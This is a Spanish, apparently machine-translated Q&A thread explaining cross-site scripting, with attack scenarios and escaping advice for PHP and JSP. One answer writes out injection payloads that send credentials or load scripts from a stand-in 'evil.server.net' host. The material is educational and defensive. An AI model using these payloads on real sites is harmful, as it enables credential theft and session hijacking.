¿Cuál es el concepto general detrás de XSS?

Question

Cross-site scripting (XSS) es un tipo de vulnerabilidad de seguridad equipo se encuentran típicamente en aplicaciones web que permiten atacantes maliciosos a inyectar secuencias de comandos del lado del cliente en la Web páginas visitadas por otros usuarios. Los atacantes pueden usar una vulnerabilidad de scripts explotados entre sitios para eludir los controles de acceso, como la misma política de origen. Cross-site scripting llevado a cabo en los sitios web eran aproximadamente el 80% de todas las vulnerabilidades de seguridad documentadas por Symantec partir de 2007.

Bueno por lo que quiere decir esto que un hacker malicioso artesanía algunos JS/VBScript y lo entrega a la víctima desprevenida al visitar un sitio legítimo que tiene entradas no guardadas?

Quiero decir, sé cómo se realiza la inyección de SQL ....

yo particularmente no entiendo como JS/VBScript puede causar tanto daño! Creo que solo se ejecutan dentro de los navegadores, pero aparentemente el daño va desde keylogging to cookie stealing and trojans.

¿Es correcto mi entendimiento de XSS? si no, ¿alguien puede aclarar?

¿Cómo puedo evitar que ocurra XSS en mis sitios web? Esto parece importante; El 80% de las vulnerabilidades de seguridad significa que es un método extremadamente común para comprometer las computadoras.

Answer 1

sencillo XSS

1. Encuentro Google tiene una vulnerabilidad XSS
2. escribo un guión que vuelve a escribir una página de Google público a mirar exactamente igual que el Google conectarse se
3. Mi página falsa somete a una servidor de terceros, y luego redirige a la página real
4. Me entran las contraseñas de la cuenta de google, los usuarios no se dan cuenta de lo que sucedió, Google no sabe lo que pasó

XSS como plataforma para CSRF (esto supone que realmente ocurrió)

1. Amazon tiene una vulnerabilidad CSRF donde un "siempre no cerrar sesión" cookie que permite marcar una entrada como ofensivo
2. encuentro una vulnerabilidad XSS en un sitio de alto tráfico
3. escribo un javascript que golpea las direcciones URL para marcar todos los libros escritos por homosexuales/autores lesbianas en Amazon como ofensivo
4. a Amazon, que están recibiendo las solicitudes válidas de los navegadores reales con autenticación de bienes galletas. Todos los libros desaparecen del sitio de la noche
5. Internet se vuelve loca.

XSS como plataforma para la Fijación de Sesión ataca

1. encuentro un sitio de comercio electrónico que no restablece su sesión después de un inicio de sesión (como cualquier sitio asp.net), tiene la capacidad de pasar ID de sesión en cadena de consulta o vía cookie, y almacena información de autenticación en la sesión (bastante común)
2. Encuentro una vulnerabilidad XSS en una página en ese sitio
3. Escribo un script que establece el ID de sesión en uno Controlo
4. Someo ne golpea esa página, y se golpea en mi sesión.
5. se identifica en
6. ahora tengo la capacidad de hacer lo que quiera que ellos, incluyendo la compra de productos con tarjetas guardadas

Los tres son los grandes. El problema con XSS, CSRF y ataques de fijación de sesión es que son muy, muy difíciles de rastrear y corregir, y son realmente simples de permitir, especialmente si un desarrollador no sabe mucho acerca de ellos.

Answer 2

Los problemas de los ataques XSS están más relacionados con la pesca. El problema es que un sitio en el que un cliente confía puede recibir un código que lo lleve al sitio creado por el atacante para ciertos fines. Robar información sensible, por ejemplo.

Por lo tanto, en los ataques XSS los intrusos no entran en su base de datos y no entran en conflicto con ellos. Él está jugando con el sentido en el cliente de que este sitio es seguro y cada enlace apunta a un lugar seguro.

Este es solo el primer paso del ataque real: llevar al cliente al hostil entorno.

Puedo darle un breve ejemplo. Si una institución bancaria pone un recuadro en su página, por ejemplo, y no me previenen del ataque XSS, puedo gritar "¡Oye, entra en este enlace e ingresa tus contraseñas y tarjeta de crédito No para un control de seguridad!" ... Y sabes a dónde te llevará este enlace, ¿verdad?

Puede evitar los ataques XSS asegurándose de no mostrar nada en su página, que proviene de la entrada de los usuarios sin escaparse de las etiquetas html. Los caracteres especiales deben ser escapados, para que no interfieran con el marcado de sus páginas html (o la tecnología que use). Hay muchas bibliotecas que ofrecen esto, incluida la biblioteca Microsoft AntiXSS.

Answer 3

i no entiendo cómo JS/VBscript puede causar tanto daño!

Ok. supongamos que tiene un sitio, y el sitio se sirve desde http://trusted.server.com/thesite. Digamos que este sitio tiene un cuadro de búsqueda, y cuando busca en la url se convierte en: http://trusted.server.com/thesite?query=somesearchstring.

Si el sitio decide no procesar la cadena de búsqueda y la emite en el resultado, como "Se busca 'somesearchstring' no dió ningún resultado, entonces cualquiera puede inyectar código HTML arbitrario en el sitio, por ejemplo:.

http://trusted.server.com/thesite?query=<form action="http://evil.server.net">username: <input name="username"/><br/>password: <input name="pw" type="password"/><br/><input type="sumbit"/></form> 

Por lo tanto, en este caso, el sitio mostrará diligentemente un formulario de inicio de sesión falso en la página de resultados de búsqueda, y si el usuario lo envía, enviará los datos al mal servidor no confiable. ver eso, especialmente si la url es realmente larga, simplemente verán la primera pero, y supongan que están tratando con trusted.server.com.

Variation Esto incluye inyectar una etiqueta <script> que agrega manejadores de eventos al documento para rastrear las acciones del usuario, o enviar la cookie del documento al servidor malvado. De esta forma, puede esperar encontrar datos confidenciales como datos de inicio de sesión, contraseña o tarjeta de crédito. O bien, puede intentar insertar un especialmente diseñado que ocupe toda la ventana del cliente y sirva un sitio que se parece al original pero que en realidad se origina en evil.server.com. Mientras el usuario sea engañado para que use el contenido inyectado en lugar del original, la seguridad se verá comprometida.

Este tipo de XSS se denomina reflectante y no persistente. Reflectante porque la URL se "relecciona" directamente en la respuesta y no es persistente porque el sitio real no se cambia, solo sirve como paso. Tenga en cuenta que algo como https no ofrece protección alguna aquí: el sitio en sí está roto, porque repite como loro la entrada del usuario a través de la cadena de consulta.

El truco ahora es conseguir que los usuarios desprevenidos confíen en cualquier enlace que les des. Por ejemplo, puede enviarles un correo electrónico en HTML e incluir un enlace atractivo que apunte a la url falsificada. O quizás puedas difundirlo en wikis, foros, etc. Estoy seguro de que puedes apreciar lo fácil que es en realidad: es solo un enlace, ¿qué podría salir mal, no?

A veces puede ser peor. Algunos sitios almacenan contenido proporcionado por el usuario. Ejemplo simple: comentarios en un blog o hilos en un foro. O puede ser más sutil: una página de perfil de usuario en una red social. Si esas páginas permiten html arbitrario, esp. script, y este html proporcionado por el usuario se almacena y reproduce, entonces todo el mundo que simplemente visite la página que contiene este contenido está en riesgo. Esto es XSS persistente. Ahora los usuarios ni siquiera necesitan hacer clic en un enlace, simplemente visitarlo es suficiente. De nuevo, el ataque real consiste en modificar la página a través del script para capturar los datos del usuario.

inyección de secuencias de comandos puede ser romo, por ejemplo, se puede insertar una completa <script src="http://evil.server.net/script.js"> o puede ser sutil: <img src="broken" onerror="...quite elaborate script to dynamically add a script tag..."/>.

En cuanto a cómo protegerse: la clave es nunca dar salida a la entrada del usuario. Esto puede ser difícil si su sitio gira en torno al contenido proporcionado por el usuario con marcado.

Answer 4

Imagine un foro web. Un ataque XSS podría ser que hago una publicación con algunos javascript. Cuando navegas hacia la página, tu página web cargará y ejecutará el js y hará lo que yo diga. Como ha navegado hasta la página y probablemente haya iniciado sesión, mi javascript hará todo lo que tenga privilegios, como hacer una publicación, eliminar sus publicaciones, insertar correo no deseado, mostrar una ventana emergente, etc.

Así que la real concepto con XSS es que el script ejecuta en su contexto de usuario, que es una escalada de privilegios. Debe tener cuidado de que en cualquier lugar de su aplicación que recibe la entrada del usuario escapa cualquier script, etc. dentro de él para asegurarse de que no se puede hacer un XSS.

Tienes que tener cuidado con los ataques secundarios. Imagínese si pongo un script malicioso en mi nombre de usuario.Eso podría entrar en el sitio web sin marcar, y luego volver a escribirse sin marcar, pero luego cualquier página que se vea con mi nombre de usuario en él en realidad ejecutaría un script malicioso en su contexto de usuario.

Escape user input. No enrolle su código para hacer esto. Verifique todo lo que entra y todo lo que sale.

Answer 5

Como las respuestas sobre cómo XSS puede ser dañino ya se dan, sólo a publicar dos introducciones de destello agradable en XSS y contestar la siguiente pregunta sin respuesta:

¿Cómo puedo evitar que suceda XSS en mis sitios web?

Éstos son dos buenas introducciones en flash sobre XSS:

• https://www.virtualforge.com/vmovie/xss_lesson_1/xss_selling_platform_v1.0.swf
• https://www.virtualforge.com/vmovie/xss_lesson_2/xss_selling_platform_v2.0.swf

En cuanto a la prevención de XSS, es necesario HTML de escape cualquierusuario -controlada entrada cuando están a punto de ser re-mostrado en th e página. Esto incluye encabezados de solicitud, parámetros de solicitud y cualquier entrada almacenada controlada por el usuario que debe ser servida desde una base de datos. Especialmente el <, >, " y ' necesita ser escapado, ya que puede deformar el código HTML circundante donde se vuelve a mostrar esta entrada.

Casi cualquier tecnología de vista proporciona formas integradas de escape de HTML (o XML, eso también es suficiente) entities.

En PHP puede hacerlo con htmlspecialchars(). P.ej.

<input name="foo" value="<?php echo htmlspecialchars($foo); ?>"> 

Si necesita escapar singlequotes con esto también, que necesitará para suministrar el argumento ENT_QUOTES, consulte también la documentación de PHP aforelinked.

En JSP puede hacerlo con JSTL <c:out> o fn:escapeXml(). P.ej.

<input name="foo" value="<c:out value="${param.foo}" />"> 

o

<input name="foo" value="${fn:escapeXml(param.foo)}"> 

Tenga en cuenta que en realidad no es necesario escapar XSS durante el procesamiento de la solicitud, pero sólo durante el procesamiento de la respuesta. No es necesario escapar durante el proceso de solicitud y puede malformar la entrada del usuario tarde o temprano (y como administrador del sitio también le gustaría saber el usuario en cuestión ha ingresado para que pueda tomar acciones sociales si necesario). Con respecto a las inyecciones de SQL, solo escapéntelo durante el procesamiento de la solicitud en el momento en que los datos estén por persistir en la base de datos.